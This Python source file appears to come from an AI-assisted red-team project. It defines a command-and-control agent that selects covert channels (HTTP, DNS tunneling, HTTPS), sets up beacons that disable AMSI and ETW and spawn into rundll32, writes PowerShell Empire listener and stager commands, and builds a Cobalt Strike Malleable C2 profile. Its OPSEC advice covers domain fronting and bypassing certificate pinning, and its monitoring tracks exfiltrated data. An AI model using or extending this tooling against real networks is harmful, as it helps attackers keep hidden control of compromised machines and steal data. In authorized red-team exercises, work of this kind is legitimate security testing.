""" Cyber-LLM C2 Agent Command and Control (C2) configuration and management agent. Handles Empire, Cobalt Strike, and custom C2 framework integration. Author: Muzan Sano Email: sanosensei36@gmail.com """ import json import logging import random import time from typing import Dict, List, Any, Optional from dataclasses import dataclass from pydantic import BaseModel import yaml from datetime import datetime, timedelta # Configure logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) class C2Request(BaseModel): payload_type: str target_environment: str network_constraints: Dict[str, Any] stealth_level: str = "high" duration: int = 3600 # seconds class C2Response(BaseModel): c2_profile: Dict[str, Any] beacon_config: Dict[str, Any] empire_commands: List[str] cobalt_strike_config: Dict[str, Any] opsec_mitigations: List[str] monitoring_setup: Dict[str, Any] class C2Agent: """ Advanced Command and Control agent for red team operations. Manages C2 infrastructure, beacon configuration, and OPSEC. """ def __init__(self, config_path: Optional[str] = None): self.config = self._load_config(config_path) self.c2_profiles = self._load_c2_profiles() self.opsec_rules = self._load_opsec_rules() def _load_config(self, config_path: Optional[str]) -> Dict[str, Any]: """Load C2 configuration from YAML file.""" if config_path: with open(config_path, 'r') as f: return yaml.safe_load(f) return { "default_jitter": "20%", "default_sleep": 60, "max_beacon_life": 86400, "kill_date_offset": 7 # days } def _load_c2_profiles(self) -> Dict[str, Any]: """Load C2 communication profiles.""" return { "http_get": { "name": "HTTP GET Profile", "protocol": "http", "method": "GET", "uri": ["/api/v1/status", "/health", "/metrics", "/ping"], "headers": { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" }, "detection_risk": "low" }, "http_post": { "name": "HTTP POST Profile", "protocol": "http", "method": "POST", "uri": ["/api/v1/upload", "/submit", "/contact", "/feedback"], "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "detection_risk": "medium" }, "dns_tunnel": { "name": "DNS Tunneling Profile", "protocol": "dns", "subdomain_prefix": ["api", "cdn", "mail", "ftp"], "detection_risk": "low", "bandwidth": "limited" }, "https_cert": { "name": "HTTPS with Valid Certificate", "protocol": "https", "cert_required": True, "detection_risk": "very_low", "setup_complexity": "high" } } def _load_opsec_rules(self) -> Dict[str, Any]: """Load OPSEC rules and guidelines.""" return { "timing": { "min_sleep": 30, "max_sleep": 300, "jitter_range": [10, 50], "burst_limit": 5 }, "infrastructure": { "domain_age_min": 30, # days "ssl_cert_required": True, "cdn_recommended": True }, "operational": { "kill_date_max": 30, # days "beacon_rotation": True, "payload_obfuscation": True } } def select_c2_profile(self, environment: str, constraints: Dict[str, Any]) -> Dict[str, Any]: """ Select optimal C2 profile based on target environment and constraints. # HUMAN_APPROVAL_REQUIRED: Review C2 profile selection for operational security """ # Analyze network constraints blocked_ports = constraints.get("blocked_ports", []) proxy_present = constraints.get("proxy", False) ssl_inspection = constraints.get("ssl_inspection", False) # Score profiles based on constraints profile_scores = {} for profile_name, profile in self.c2_profiles.items(): score = 100 # Base score # Adjust for blocked ports if profile["protocol"] == "http" and 80 in blocked_ports: score -= 50 elif profile["protocol"] == "https" and 443 in blocked_ports: score -= 50 elif profile["protocol"] == "dns" and 53 in blocked_ports: score -= 80 # Adjust for SSL inspection if ssl_inspection and profile["protocol"] == "https": score -= 30 # Adjust for proxy if proxy_present and profile["protocol"] in ["http", "https"]: score += 20 # Proxy can help blend traffic # Consider detection risk risk_penalties = { "very_low": 0, "low": -5, "medium": -15, "high": -30 } score += risk_penalties.get(profile.get("detection_risk", "medium"), -15) profile_scores[profile_name] = score # Select best profile best_profile = max(profile_scores, key=profile_scores.get) selected_profile = self.c2_profiles[best_profile].copy() selected_profile["selection_score"] = profile_scores[best_profile] selected_profile["selection_reason"] = f"Best fit for {environment} environment" logger.info(f"Selected C2 profile: {best_profile} (score: {profile_scores[best_profile]})") return selected_profile def configure_beacon(self, profile: Dict[str, Any], stealth_level: str) -> Dict[str, Any]: """Configure beacon parameters based on profile and stealth requirements.""" # Base configuration base_sleep = self.config.get("default_sleep", 60) jitter = self.config.get("default_jitter", "20%") # Adjust for stealth level stealth_multipliers = { "low": {"sleep": 0.5, "jitter": 10}, "medium": {"sleep": 1.0, "jitter": 20}, "high": {"sleep": 2.0, "jitter": 30}, "maximum": {"sleep": 5.0, "jitter": 50} } multiplier = stealth_multipliers.get(stealth_level, stealth_multipliers["medium"]) beacon_config = { "sleep_time": int(base_sleep * multiplier["sleep"]), "jitter": f"{multiplier['jitter']}%", "max_dns_requests": 5, "user_agent": profile.get("headers", {}).get("User-Agent", ""), "kill_date": (datetime.now() + timedelta(days=self.config.get("kill_date_offset", 7))).isoformat(), "spawn_to": "C:\\Windows\\System32\\rundll32.exe", "post_ex": { "amsi_disable": True, "etw_disable": True, "spawnto_x86": "C:\\Windows\\SysWOW64\\rundll32.exe", "spawnto_x64": "C:\\Windows\\System32\\rundll32.exe" } } # Add protocol-specific configuration if profile["protocol"] == "dns": beacon_config.update({ "dns_idle": "8.8.8.8", "dns_max_txt": 252, "dns_ttl": 1 }) elif profile["protocol"] in ["http", "https"]: beacon_config.update({ "uri": random.choice(profile.get("uri", ["/"])), "headers": profile.get("headers", {}) }) return beacon_config def generate_empire_commands(self, profile: Dict[str, Any], beacon_config: Dict[str, Any]) -> List[str]: """Generate PowerShell Empire commands for C2 setup.""" commands = [ "# PowerShell Empire C2 Setup", "use listener/http", f"set Name {profile.get('name', 'http_listener')}", f"set Host {profile.get('host', '0.0.0.0')}", f"set Port {profile.get('port', 80)}", f"set DefaultJitter {beacon_config['jitter']}", f"set DefaultDelay {beacon_config['sleep_time']}", "execute", "", "# Generate stager", "use stager/multi/launcher", f"set Listener {profile.get('name', 'http_listener')}", "set OutFile /tmp/launcher.ps1", "execute" ] return commands def generate_cobalt_strike_config(self, profile: Dict[str, Any], beacon_config: Dict[str, Any]) -> Dict[str, Any]: """Generate Cobalt Strike Malleable C2 profile configuration.""" cs_config = { "global": { "jitter": beacon_config["jitter"], "sleeptime": beacon_config["sleep_time"], "useragent": beacon_config.get("user_agent", "Mozilla/5.0"), "sample_name": "Cyber-LLM C2", }, "http-get": { "uri": profile.get("uri", ["/"])[0], "client": { "header": profile.get("headers", {}), "metadata": { "base64url": True, "parameter": "session" } }, "server": { "header": { "Server": "nginx/1.18.0", "Cache-Control": "max-age=0, no-cache", "Connection": "keep-alive" }, "output": { "base64": True, "print": True } } }, "http-post": { "uri": "/api/v1/submit", "client": { "header": { "Content-Type": "application/x-www-form-urlencoded" }, "id": { "parameter": "id" }, "output": { "parameter": "data" } }, "server": { "header": { "Server": "nginx/1.18.0" }, "output": { "base64": True, "print": True } } } } return cs_config def assess_opsec_compliance(self, config: Dict[str, Any]) -> List[str]: """Assess OPSEC compliance and generate mitigation recommendations.""" mitigations = [] # Check sleep time if config.get("sleep_time", 0) < self.opsec_rules["timing"]["min_sleep"]: mitigations.append("Increase sleep time to reduce detection risk") # Check jitter jitter_val = int(config.get("jitter", "0%").replace("%", "")) if jitter_val < self.opsec_rules["timing"]["jitter_range"][0]: mitigations.append("Increase jitter to add timing randomization") # Check kill date if "kill_date" not in config: mitigations.append("Set kill date to prevent indefinite operation") # Infrastructure checks mitigations.extend([ "Use domain fronting or CDN for traffic obfuscation", "Implement certificate pinning bypass techniques", "Rotate C2 infrastructure regularly", "Monitor for blue team detection signatures" ]) return mitigations def setup_monitoring(self, profile: Dict[str, Any]) -> Dict[str, Any]: """Setup monitoring and logging for C2 operations.""" monitoring_config = { "beacon_logging": { "enabled": True, "log_level": "INFO", "log_file": f"/var/log/c2/{profile.get('name', 'default')}.log" }, "health_checks": { "interval": 300, # seconds "endpoints": [ f"http://localhost/health", f"http://localhost/api/status" ] }, "alerting": { "enabled": True, "channels": ["slack", "email"], "triggers": { "beacon_death": True, "detection_signature": True, "infrastructure_compromise": True } }, "metrics": { "active_beacons": 0, "successful_callbacks": 0, "failed_callbacks": 0, "data_exfiltrated": "0 MB" } } return monitoring_config def execute_c2_setup(self, request: C2Request) -> C2Response: """ Execute complete C2 setup workflow. # HUMAN_APPROVAL_REQUIRED: Review C2 configuration before deployment """ logger.info(f"Setting up C2 for payload type: {request.payload_type}") # Select optimal C2 profile profile = self.select_c2_profile(request.target_environment, request.network_constraints) # Configure beacon beacon_config = self.configure_beacon(profile, request.stealth_level) # Generate framework-specific configurations empire_commands = self.generate_empire_commands(profile, beacon_config) cs_config = self.generate_cobalt_strike_config(profile, beacon_config) # OPSEC assessment opsec_mitigations = self.assess_opsec_compliance(beacon_config) # Setup monitoring monitoring_setup = self.setup_monitoring(profile) response = C2Response( c2_profile=profile, beacon_config=beacon_config, empire_commands=empire_commands, cobalt_strike_config=cs_config, opsec_mitigations=opsec_mitigations, monitoring_setup=monitoring_setup ) logger.info(f"C2 setup complete for {request.target_environment}") return response def main(): """CLI interface for C2Agent.""" import argparse parser = argparse.ArgumentParser(description="Cyber-LLM C2 Agent") parser.add_argument("--payload-type", required=True, help="Type of payload (powershell, executable, dll)") parser.add_argument("--environment", required=True, help="Target environment description") parser.add_argument("--stealth", choices=["low", "medium", "high", "maximum"], default="high", help="Stealth level") parser.add_argument("--config", help="Path to configuration file") parser.add_argument("--output", help="Output file for results") args = parser.parse_args() # Initialize agent agent = C2Agent(config_path=args.config) # Create request (simplified for CLI) request = C2Request( payload_type=args.payload_type, target_environment=args.environment, network_constraints={ "blocked_ports": [22, 23], "proxy": True, "ssl_inspection": False }, stealth_level=args.stealth ) # Execute C2 setup response = agent.execute_c2_setup(request) # Output results result = { "c2_profile": response.c2_profile, "beacon_config": response.beacon_config, "empire_commands": response.empire_commands, "cobalt_strike_config": response.cobalt_strike_config, "opsec_mitigations": response.opsec_mitigations, "monitoring_setup": response.monitoring_setup } if args.output: with open(args.output, 'w') as f: json.dump(result, f, indent=2) print(f"C2 configuration saved to {args.output}") else: print(json.dumps(result, indent=2)) if __name__ == "__main__": main()